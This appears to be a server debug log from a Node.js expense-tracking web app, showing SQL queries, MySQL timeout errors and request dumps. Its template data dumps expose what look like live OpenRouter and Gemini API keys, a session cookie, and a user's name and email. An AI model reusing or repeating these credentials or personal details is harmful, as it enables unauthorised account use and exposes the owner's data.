    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-06T16:36:37.743Z server-connect:output restrict: undefined
2026-03-06T16:36:37.743Z server-connect:app Executing action step paged
2026-03-06T16:36:37.743Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-06T16:36:37.745Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-06T16:36:37.747Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 4,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      target_id: 8,
      credit: 20000,
      debit: 0,
      created_on: '2026-03-06T16:36:36.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 21000,
      debit: 0,
      created_on: '2026-03-06T16:31:24.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 45000,
      debit: 0,
      created_on: '2026-02-26T18:30:49.000Z',
      name: 'CPU Build'
    },
    {
      target_id: 8,
      credit: 50000,
      debit: 0,
      created_on: '2026-02-24T12:05:14.000Z',
      name: 'CPU Build'
    }
  ]
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-06 16:37:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-06 16:37:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-06 17:21:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-06 17:21:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-06 17:40:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-06 17:40:51' as DATETIME)"
}
2026-03-06T20:30:20.186Z server-connect:router Serving templateView /
2026-03-06T20:30:20.187Z server-connect:app Executing action step identify
2026-03-06T20:30:20.188Z server-connect:app options: { provider: 'security' }
2026-03-06T20:30:20.188Z server-connect:auth No login cookie found
2026-03-06T20:30:20.188Z server-connect:output identity: false
2026-03-06T20:30:20.188Z server-connect:app Executing action step restrict
2026-03-06T20:30:20.188Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-06T20:30:20.189Z server-connect:output restrict: undefined
2026-03-06T20:30:20.574Z server-connect:router Serving templateView /login
2026-03-06T20:30:20.575Z server-connect:app Executing action step identify
2026-03-06T20:30:20.575Z server-connect:app options: { provider: 'security' }
2026-03-06T20:30:20.575Z server-connect:auth No login cookie found
2026-03-06T20:30:20.575Z server-connect:output identity: false
2026-03-06T20:30:20.575Z server-connect:router Render template layouts/authentication
2026-03-06T20:30:20.575Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '205.210.31.22',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-07T20:30:20.574Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.210.31.22',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '205.210.31.22',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-06 21:43:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-06 21:43:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-06 21:45:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-06 21:45:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-07 00:20:52' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-07 00:20:52' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-07 00:54:53' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-07 00:54:53' as DATETIME)"
}
2026-03-07T01:27:47.267Z server-connect:router Serving templateView /
2026-03-07T01:27:47.267Z server-connect:app Executing action step identify
2026-03-07T01:27:47.268Z server-connect:app options: { provider: 'security' }
2026-03-07T01:27:47.268Z server-connect:output identity: 1
2026-03-07T01:27:47.268Z server-connect:app Executing action step restrict
2026-03-07T01:27:47.268Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-07T01:27:47.291Z server-connect:output restrict: undefined
2026-03-07T01:27:47.291Z server-connect:app Executing action step restrict
2026-03-07T01:27:47.291Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-07T01:27:47.292Z server-connect:output restrict: undefined
2026-03-07T01:27:47.292Z server-connect:router Render template layouts/main
2026-03-07T01:27:47.292Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'x-forwarded-for': '49.43.180.105',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-07T16:29:48.894Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.105',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'HTTP_X_FORWARDED-FOR': '49.43.180.105',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-03-07T01:27:48.221Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-07T01:27:48.222Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-07T01:27:48.222Z server-connect:app Executing action step identify
2026-03-07T01:27:48.222Z server-connect:app options: { provider: 'security' }
2026-03-07T01:27:48.222Z server-connect:output identity: 1
2026-03-07T01:27:48.222Z server-connect:app Executing action step restrict
2026-03-07T01:27:48.222Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-07T01:27:48.222Z server-connect:app Executing action step identify
2026-03-07T01:27:48.222Z server-connect:app options: { provider: 'security' }
2026-03-07T01:27:48.222Z server-connect:output identity: 1
2026-03-07T01:27:48.222Z server-connect:app Executing action step restrict
2026-03-07T01:27:48.222Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-07T01:27:48.223Z server-connect:output restrict: undefined
2026-03-07T01:27:48.223Z server-connect:app Executing action step select
2026-03-07T01:27:48.223Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-07T01:27:48.223Z server-connect:output restrict: undefined
2026-03-07T01:27:48.223Z server-connect:app Executing action step single
2026-03-07T01:27:48.224Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-07T01:27:48.234Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
